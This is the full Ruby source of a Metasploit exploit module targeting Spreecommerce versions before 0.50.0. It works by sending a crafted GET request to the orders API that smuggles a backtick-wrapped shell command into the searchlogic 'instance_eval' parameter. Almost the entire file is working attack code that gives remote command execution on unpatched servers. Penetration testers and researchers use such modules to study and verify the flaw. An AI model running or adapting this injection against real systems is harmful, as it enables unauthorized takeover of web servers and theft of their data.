77 lines
2.1 KiB
Ruby
77 lines
2.1 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Spreecommerce < 0.50.0 Arbitrary Command Execution',
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'Description' => %q{
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This module exploits an arbitrary command execution vulnerability in the
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Spreecommerce API searchlogic. Unvalidated input is called via the
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Ruby send method allowing command execution.
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},
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'Author' => [ 'joernchen <joernchen[at]phenoelit.de>' ], #Phenoelit
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'OSVDB', '71900'],
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[ 'URL', 'http://www.spreecommerce.com/blog/2011/04/19/security-fixes/' ],
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],
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'Privileged' => false,
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'Payload' =>
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{
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'BadChars' => "\x60",
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'DisableNops' => true,
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'Space' => 31337,
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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}
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},
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'Platform' => [ 'unix', 'linux' ],
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'Arch' => ARCH_CMD,
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'Targets' => [[ 'Automatic', { }]],
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'DisclosureDate' => 'Apr 19 2011',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('URI', [true, "The path to the Spreecommerce main site", "/"]),
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], self.class)
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end
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def exploit
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command = Rex::Text.uri_encode(payload.raw, 'hex-all')
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urlconfigdir = normalize_uri(datastore['URI']) + '/' + "api/orders.json?search[instance_eval]=Kernel.fork%20do%60#{command}%60end"
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res = send_request_raw({
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'uri' => urlconfigdir,
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'method' => 'GET',
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'headers' =>
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{
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'HTTP_AUTHORIZATION' => 'ABCD', #needs to be present
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'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
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'Connection' => 'Close',
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}
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}, 0.4 ) #short timeout, we don't care about the response
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if (res)
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print_status("The server returned: #{res.code} #{res.message}")
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end
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handler
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end
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end
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